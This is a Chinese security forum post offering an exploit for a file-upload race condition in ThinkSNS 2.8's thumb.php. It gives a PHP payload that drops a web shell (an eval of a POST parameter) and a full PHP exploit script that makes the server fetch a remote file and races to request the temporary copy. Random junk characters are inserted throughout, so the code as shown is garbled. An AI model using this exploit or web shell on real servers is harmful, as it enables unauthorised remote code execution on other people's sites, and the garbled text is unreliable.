找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1877|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本* v- u3 I' P4 F3 V5 v
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)  ~* g5 _) T6 M# F: h6 `5 Z
漏洞文件  K: `8 i: |# m) Y) U- n9 Y  F8 J& T
存在漏洞的文件为:thumb.php
2 T) i& Z7 u, {; {8 Z1 l' N作者:韦鲲鹏8 ?8 q# D1 d0 L$ T3 H9 E/ e+ ]5 Y
1、        准备如下PHP文件并上传到服务器(自己的)。
' e3 \% c, o- _) a文件内容如下:
( O1 o4 B/ I0 Q- a<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>; Z4 ^" r* x( d7 T/ S' Y
2、        计算出临时的文件名:6 ?; p, Q7 k/ R* U
这里我们可以看文件的99行(刚刚是不是没注意呀!)。+ ]7 o+ F5 z& N5 x5 W6 t
8 c# L& V7 w: C( y! |# j% X
3、        上传临时文件。
, @" C: X( e* n0 \" F9 j4、        访问临时文件。4 x; F5 r4 _5 b( \8 ^4 h, @+ I
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)  v; n! |0 o7 I
Exploit文件内容如下:(这个我就不详细解释了)  K+ g& b4 L% X* ~
<?php
; x- X1 c+ [: Z+ zerror_reporting(0);5 @6 R! C. S+ s% U
set_time_limit(0);
4 r+ f% w0 ^; N3 N; J0 ~ini_set(“default_socket_timeout”, 5);6 [! [1 ?# \1 q; Q* G! N9 N: n
function http_send($host, $port, $headers) {5 Z" Y0 N. W, j  n; |6 P$ H
$fp = fsockopen($host, $port);
( i4 H% j6 Y1 }if (!$fp) die(‘Connection -> fail’);
* k  e4 D3 ?) j. N$ i& Y: ?$ }fputs($fp, $headers);, O& m1 d" H/ F
return $fp;: _" w6 @) A9 ^: g6 m! t% z  ^* Q
}
+ |' S' }% c9 W5 Tfunction http_recv($fp) {
, A' A) L) _0 A- }- V$ret=”";
5 T" O, x' ~. Z4 M& h# j% Bwhile (!feof($fp))! x$ Y0 R4 c) @7 y6 K. L# L
$ret.= fgets($fp, 1024);- c  ~( p! h1 d$ S, T: M2 [
fclose($fp);) a/ X4 h2 F1 e+ m  k; k. n
return $ret;8 {3 R* }( _6 P: k
}
! W5 C9 d* g. Sprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
5 K. }/ A' R: gprint “# Discovered by 韦鲲鹏 #\n\n”;& }: s# y6 V# z' Q% o
if ($argc < 4) {* R  T+ g7 `/ [$ Q5 s/ N
print “Usage:   php <host> <path> <romote_url>\n”;6 |( Q  J4 d# c7 }+ b; _
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;" r6 g! ^" E3 w  m5 F! F: R
die();
6 m8 m" B5 u; T' V3 r}1 K+ a3 H/ I1 U9 e
$host = $argv[1];
: a! \: w: h/ M% |/ @9 J1 V* H, h6 l$path = $argv[2];4 W; O: O& j, w2 u9 Z+ ]( K8 _5 e& G
$url = $argv[3];
% b; N5 \. Q' q8 T$i=0;3 a+ V0 p. D. _, g" P3 T" W1 b
//上传数据包
3 d+ i+ b  x: e7 M, s9 ~$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
1 c/ F- ]* P6 n) {* `: m. L$headers_up .= “Host: “.$host.”\r\n”;: j* `9 a! C4 Q& W2 H2 t% y
$headers_up .= “Connection: close\r\n\r\n”;2 m4 {9 q4 x; [) m
echo $headers_up;$ Z+ ^0 d3 ~  e4 Y
//临时文件访问数据包$ }& C/ r7 o* V. a  ?* }
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;1 r- M$ T. |( U2 n6 ~/ h* I4 W+ K' w7 x
$headers .= “Host: “.$host.”\r\n”;, W8 S; L0 T' J* W# Y5 M: A$ o
$headers .= “Connection: close\r\n\r\n”;! O/ n  S2 g1 ]+ I1 x" |
echo $headers;( L- ~8 F5 m. H& O( m1 E
while(++$i<10) {
8 k, M% V1 v2 o5 m; M* v9 w4 xfclose(http_send($host, 80, $headers));
4 S# \. D/ _& a. X+ ~5 K}
/ ?9 |3 x& f$ n  Vfclose(http_send($host, 80, $headers_up));
3 [' ?8 `! R7 M/ Q- H6 W; s+ Owhile(++$i<50) {
9 e$ H' }  i+ g) E  O% ~fclose(http_send($host, 80, $headers));' T! T) S8 A( W, j3 j+ H  E
}8 j2 ?$ k/ m( D
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;7 J( z/ ]/ y3 k: q
$headers .= “Host: “.$host.”\r\n”;5 C9 W3 ~$ r6 f9 v
$headers .= “Connection: close\r\n\r\n”;
3 M5 h( q) }; N$res=http_recv(http_send($host, 80, $headers));
% R" ^5 ~( g) R8 q" G) q5 cif(preg_match(‘/200 OK/’,$res)) {' u$ b! B$ `' l+ f' \
print “Success!\n\n”;
1 i- Y1 ]$ g8 V- E8 z7 j& C} else {( F& h; W# F) S" L  b8 k
print “Fail!\n\n”;
5 S- t8 i2 i. i/ R# V}
) R7 d' f+ E6 v8 ~4 ^- n?>
7 N( q; S; ]+ r1 D4 K; P1 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表